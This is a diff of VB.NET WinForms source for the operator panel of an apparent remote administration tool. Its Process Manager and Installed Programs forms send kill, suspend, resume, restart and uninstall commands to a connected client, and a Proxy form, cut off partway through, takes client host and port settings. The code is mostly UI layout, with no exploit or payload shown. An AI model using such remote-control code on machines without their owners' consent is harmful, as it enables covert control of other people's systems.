Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(134, 114)
|
||||
'
|
||||
'ToolStripMenuItem4
|
||||
'
|
||||
ToolStripMenuItem4.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem4.Image = CType(resources.GetObject("ToolStripMenuItem4.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem4.Name = "ToolStripMenuItem4"
|
||||
ToolStripMenuItem4.Size = New System.Drawing.Size(133, 22)
|
||||
ToolStripMenuItem4.Text = "[ Refresh ]"
|
||||
'
|
||||
'ToolStripMenuItem6
|
||||
'
|
||||
ToolStripMenuItem6.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem6.Image = CType(resources.GetObject("ToolStripMenuItem6.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem6.Name = "ToolStripMenuItem6"
|
||||
ToolStripMenuItem6.Size = New System.Drawing.Size(133, 22)
|
||||
ToolStripMenuItem6.Text = "[ Close ]"
|
||||
'
|
||||
'RestartToolStripMenuItem1
|
||||
'
|
||||
RestartToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
RestartToolStripMenuItem1.Image = CType(resources.GetObject("RestartToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
RestartToolStripMenuItem1.Name = "RestartToolStripMenuItem1"
|
||||
RestartToolStripMenuItem1.Size = New System.Drawing.Size(133, 22)
|
||||
RestartToolStripMenuItem1.Text = "[ Restart ]"
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit
|
||||
ImageList1.ImageSize = New System.Drawing.Size(20, 20)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.White
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel1.Text = ".."
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.White
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel3, ToolStripStatusLabel4})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 320)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Size = New System.Drawing.Size(522, 22)
|
||||
StatusStrip1.TabIndex = 2
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel3
|
||||
'
|
||||
ToolStripStatusLabel3.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel3.Name = "ToolStripStatusLabel3"
|
||||
ToolStripStatusLabel3.Size = New System.Drawing.Size(68, 17)
|
||||
ToolStripStatusLabel3.Text = "Selected [0]"
|
||||
'
|
||||
'ToolStripStatusLabel4
|
||||
'
|
||||
ToolStripStatusLabel4.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel4.Name = "ToolStripStatusLabel4"
|
||||
ToolStripStatusLabel4.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel4.Text = ".."
|
||||
'
|
||||
'ToolStripSeparator1
|
||||
'
|
||||
ToolStripSeparator1.Name = "ToolStripSeparator1"
|
||||
ToolStripSeparator1.Size = New System.Drawing.Size(177, 6)
|
||||
'
|
||||
'ToolStripMenuItem2
|
||||
'
|
||||
ToolStripMenuItem2.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem2.Image = CType(resources.GetObject("ToolStripMenuItem2.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem2.Name = "ToolStripMenuItem2"
|
||||
ToolStripMenuItem2.Size = New System.Drawing.Size(133, 22)
|
||||
ToolStripMenuItem2.Text = "[ Suspend ]"
|
||||
'
|
||||
'ResumeToolStripMenuItem
|
||||
'
|
||||
ResumeToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
ResumeToolStripMenuItem.Image = CType(resources.GetObject("ResumeToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
ResumeToolStripMenuItem.Name = "ResumeToolStripMenuItem"
|
||||
ResumeToolStripMenuItem.Size = New System.Drawing.Size(133, 22)
|
||||
ResumeToolStripMenuItem.Text = "[ Resume ]"
|
||||
'
|
||||
'ColumnHeader3
|
||||
'
|
||||
ColumnHeader3.Text = "[ Description ]"
|
||||
ColumnHeader3.Width = 96
|
||||
'
|
||||
'ProcessV
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(522, 342)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "ProcessV"
|
||||
Text = "Process Manager"
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader1 As ColumnHeader
|
||||
Friend WithEvents ColumnHeader2 As ColumnHeader
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel3 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel4 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripSeparator1 As ToolStripSeparator
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents ToolStripMenuItem4 As ToolStripMenuItem
|
||||
Friend WithEvents ToolStripMenuItem6 As ToolStripMenuItem
|
||||
Friend WithEvents RestartToolStripMenuItem1 As ToolStripMenuItem
|
||||
Friend WithEvents ToolStripMenuItem2 As ToolStripMenuItem
|
||||
Friend WithEvents ResumeToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ColumnHeader3 As ColumnHeader
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,99 @@
|
||||
Imports System.Threading
|
||||
Public Class ProcessV
|
||||
|
||||
Public C As Client
|
||||
Private Sub ProcessV_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Refresh()
|
||||
End Sub
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Public Sub Refresh()
|
||||
|
||||
ListView1.Items.Clear()
|
||||
|
||||
ToolStripStatusLabel4.Text = "Wait.."
|
||||
|
||||
Dim B As Byte() = SB("R#")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub ProcessV_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("CloseProcess")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
||||
Try
|
||||
ToolStripStatusLabel3.Text = "Selected [" & ListView1.SelectedItems.Count.ToString & "]"
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem6_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem6.Click
|
||||
Dim ProcessID As String
|
||||
ProcessID = Nothing
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ProcessID &= "-=>" & LV.SubItems(1).Text
|
||||
Next
|
||||
Dim B As Byte() = SB("kill" & SettingsHelper.SPL & ProcessID)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub RestartToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem1.Click
|
||||
Dim ProcessID As String
|
||||
ProcessID = Nothing
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ProcessID &= "-=>" & LV.SubItems(1).Text
|
||||
Next
|
||||
Dim B As Byte() = SB("RestartProcess" & SettingsHelper.SPL & ProcessID)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem2.Click
|
||||
Dim ProcessID As String
|
||||
ProcessID = Nothing
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ProcessID &= "-=>" & LV.SubItems(1).Text
|
||||
Next
|
||||
Dim B As Byte() = SB("SuspendProcess" & SettingsHelper.SPL & ProcessID)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ResumeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ResumeToolStripMenuItem.Click
|
||||
Dim ProcessID As String
|
||||
ProcessID = Nothing
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
ProcessID &= "-=>" & LV.SubItems(1).Text
|
||||
Next
|
||||
Dim B As Byte() = SB("ResumeProcess" & SettingsHelper.SPL & ProcessID)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+171
@@ -0,0 +1,171 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Programs
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Programs))
|
||||
ListView1 = New System.Windows.Forms.ListView()
|
||||
ColumnHeader1 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ColumnHeader3 = CType(New System.Windows.Forms.ColumnHeader(), System.Windows.Forms.ColumnHeader)
|
||||
ImageList1 = New System.Windows.Forms.ImageList(components)
|
||||
StatusStrip1 = New System.Windows.Forms.StatusStrip()
|
||||
ToolStripStatusLabel1 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
ToolStripStatusLabel2 = New System.Windows.Forms.ToolStripStatusLabel()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
Guna2ContextMenuStrip1 = New Guna.UI2.WinForms.Guna2ContextMenuStrip()
|
||||
ToolStripMenuItem4 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
UninstallToolStripMenuItem1 = New System.Windows.Forms.ToolStripMenuItem()
|
||||
StatusStrip1.SuspendLayout()
|
||||
Guna2ContextMenuStrip1.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader1, ColumnHeader3})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(0, 0)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.Size = New System.Drawing.Size(469, 285)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.Sorting = System.Windows.Forms.SortOrder.Ascending
|
||||
ListView1.TabIndex = 3
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader1
|
||||
'
|
||||
ColumnHeader1.Text = "[ Name ]"
|
||||
ColumnHeader1.Width = 107
|
||||
'
|
||||
'ColumnHeader3
|
||||
'
|
||||
ColumnHeader3.Text = "[ UninstallString ]"
|
||||
ColumnHeader3.Width = 117
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ImageStream = CType(resources.GetObject("ImageList1.ImageStream"), System.Windows.Forms.ImageListStreamer)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
ImageList1.Images.SetKeyName(0, "icons8-hdd-20.png")
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1, ToolStripStatusLabel2})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 285)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(469, 22)
|
||||
StatusStrip1.TabIndex = 4
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(68, 17)
|
||||
ToolStripStatusLabel1.Text = "Selected [0]"
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripMenuItem4, UninstallToolStripMenuItem1})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(135, 48)
|
||||
'
|
||||
'ToolStripMenuItem4
|
||||
'
|
||||
ToolStripMenuItem4.BackColor = System.Drawing.Color.White
|
||||
ToolStripMenuItem4.Image = CType(resources.GetObject("ToolStripMenuItem4.Image"), System.Drawing.Image)
|
||||
ToolStripMenuItem4.Name = "ToolStripMenuItem4"
|
||||
ToolStripMenuItem4.Size = New System.Drawing.Size(134, 22)
|
||||
ToolStripMenuItem4.Text = "[ Refresh ]"
|
||||
'
|
||||
'UninstallToolStripMenuItem1
|
||||
'
|
||||
UninstallToolStripMenuItem1.BackColor = System.Drawing.Color.White
|
||||
UninstallToolStripMenuItem1.Image = CType(resources.GetObject("UninstallToolStripMenuItem1.Image"), System.Drawing.Image)
|
||||
UninstallToolStripMenuItem1.Name = "UninstallToolStripMenuItem1"
|
||||
UninstallToolStripMenuItem1.Size = New System.Drawing.Size(134, 22)
|
||||
UninstallToolStripMenuItem1.Text = "[ Uninstall ]"
|
||||
'
|
||||
'Programs
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(469, 307)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Name = "Programs"
|
||||
Text = "Installed Programs"
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader1 As ColumnHeader
|
||||
Friend WithEvents ColumnHeader3 As ColumnHeader
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents ToolStripMenuItem4 As ToolStripMenuItem
|
||||
Friend WithEvents UninstallToolStripMenuItem1 As ToolStripMenuItem
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,67 @@
|
||||
Imports System.Threading
|
||||
Public Class Programs
|
||||
|
||||
Public C As Client
|
||||
Private Sub Programs_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Public Sub Refresh()
|
||||
|
||||
ListView1.Items.Clear()
|
||||
|
||||
ToolStripStatusLabel2.Text = "Wait.."
|
||||
|
||||
Dim B As Byte() = SB("GetPrograms")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListView1.SelectedIndexChanged
|
||||
Try
|
||||
ToolStripStatusLabel1.Text = "Selected [" & ListView1.SelectedItems.Count.ToString & "]"
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub ListView1_KeyDown(sender As Object, e As KeyEventArgs) Handles ListView1.KeyDown
|
||||
Try
|
||||
If e.Modifiers = Keys.Control AndAlso e.KeyCode = Keys.A Then
|
||||
If ListView1.Items.Count > 0 Then
|
||||
For Each x As ListViewItem In ListView1.Items
|
||||
x.Selected = True
|
||||
Next
|
||||
End If
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Programs_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
||||
Dim B As Byte() = SB("ClosePrograms")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ToolStripMenuItem4_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem4.Click
|
||||
Refresh()
|
||||
End Sub
|
||||
|
||||
Private Sub UninstallToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles UninstallToolStripMenuItem1.Click
|
||||
For Each item As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("UNSPrograms" & SettingsHelper.SPL & item.SubItems(1).Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End Sub
|
||||
End Class
|
||||
Generated
+310
@@ -0,0 +1,310 @@
|
||||
<Global.Microsoft.VisualBasic.CompilerServices.DesignerGenerated()> _
|
||||
Partial Class Proxy
|
||||
Inherits System.Windows.Forms.Form
|
||||
|
||||
'Form overrides dispose to clean up the component list.
|
||||
<System.Diagnostics.DebuggerNonUserCode()> _
|
||||
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
|
||||
Try
|
||||
If disposing AndAlso components IsNot Nothing Then
|
||||
components.Dispose()
|
||||
End If
|
||||
Finally
|
||||
MyBase.Dispose(disposing)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
'Required by the Windows Form Designer
|
||||
Private components As System.ComponentModel.IContainer
|
||||
|
||||
'NOTE: The following procedure is required by the Windows Form Designer
|
||||
'It can be modified using the Windows Form Designer.
|
||||
'Do not modify it using the code editor.
|
||||
<System.Diagnostics.DebuggerStepThrough()> _
|
||||
Private Sub InitializeComponent()
|
||||
components = New System.ComponentModel.Container()
|
||||
Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Proxy))
|
||||
Label6 = New System.Windows.Forms.Label()
|
||||
Label3 = New System.Windows.Forms.Label()
|
||||
Label2 = New System.Windows.Forms.Label()
|
||||
Timer1 = New System.Windows.Forms.Timer(components)
|
||||
PictureBox1 = New System.Windows.Forms.PictureBox()
|
||||
Label1 = New System.Windows.Forms.Label()
|
||||
Label4 = New System.Windows.Forms.Label()
|
||||
Panel1 = New System.Windows.Forms.Panel()
|
||||
Panel2 = New System.Windows.Forms.Panel()
|
||||
Guna2TextBox4 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2GradientButton1 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
Guna2TextBox1 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox2 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2TextBox3 = New Guna.UI2.WinForms.Guna2TextBox()
|
||||
Guna2GradientButton2 = New Guna.UI2.WinForms.Guna2GradientButton()
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).BeginInit()
|
||||
Panel1.SuspendLayout()
|
||||
Panel2.SuspendLayout()
|
||||
SuspendLayout()
|
||||
'
|
||||
'Label6
|
||||
'
|
||||
Label6.AutoSize = True
|
||||
Label6.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label6.ForeColor = System.Drawing.Color.Black
|
||||
Label6.Location = New System.Drawing.Point(19, 76)
|
||||
Label6.Name = "Label6"
|
||||
Label6.Size = New System.Drawing.Size(61, 13)
|
||||
Label6.TabIndex = 10
|
||||
Label6.Text = "ClientPort :"
|
||||
'
|
||||
'Label3
|
||||
'
|
||||
Label3.AutoSize = True
|
||||
Label3.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label3.ForeColor = System.Drawing.Color.Black
|
||||
Label3.Location = New System.Drawing.Point(38, 103)
|
||||
Label3.Name = "Label3"
|
||||
Label3.Size = New System.Drawing.Size(42, 13)
|
||||
Label3.TabIndex = 8
|
||||
Label3.Text = "Proxy :"
|
||||
'
|
||||
'Label2
|
||||
'
|
||||
Label2.AutoSize = True
|
||||
Label2.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label2.ForeColor = System.Drawing.Color.Black
|
||||
Label2.Location = New System.Drawing.Point(17, 49)
|
||||
Label2.Name = "Label2"
|
||||
Label2.Size = New System.Drawing.Size(63, 13)
|
||||
Label2.TabIndex = 7
|
||||
Label2.Text = "ClientHost :"
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Location = New System.Drawing.Point(3, 3)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(35, 25)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.Zoom
|
||||
PictureBox1.TabIndex = 16
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Label1.AutoSize = True
|
||||
Label1.Font = New System.Drawing.Font("Tahoma", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte))
|
||||
Label1.ForeColor = System.Drawing.Color.Black
|
||||
Label1.Location = New System.Drawing.Point(44, 10)
|
||||
Label1.Name = "Label1"
|
||||
Label1.Size = New System.Drawing.Size(15, 13)
|
||||
Label1.TabIndex = 17
|
||||
Label1.Text = ".."
|
||||
'
|
||||
'Label4
|
||||
'
|
||||
Label4.AutoSize = True
|
||||
Label4.ForeColor = System.Drawing.Color.Black
|
||||
Label4.Location = New System.Drawing.Point(40, 66)
|
||||
Label4.Name = "Label4"
|
||||
Label4.Size = New System.Drawing.Size(34, 13)
|
||||
Label4.TabIndex = 18
|
||||
Label4.Text = "Port :"
|
||||
'
|
||||
'Panel1
|
||||
'
|
||||
Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Panel1.Controls.Add(Guna2TextBox4)
|
||||
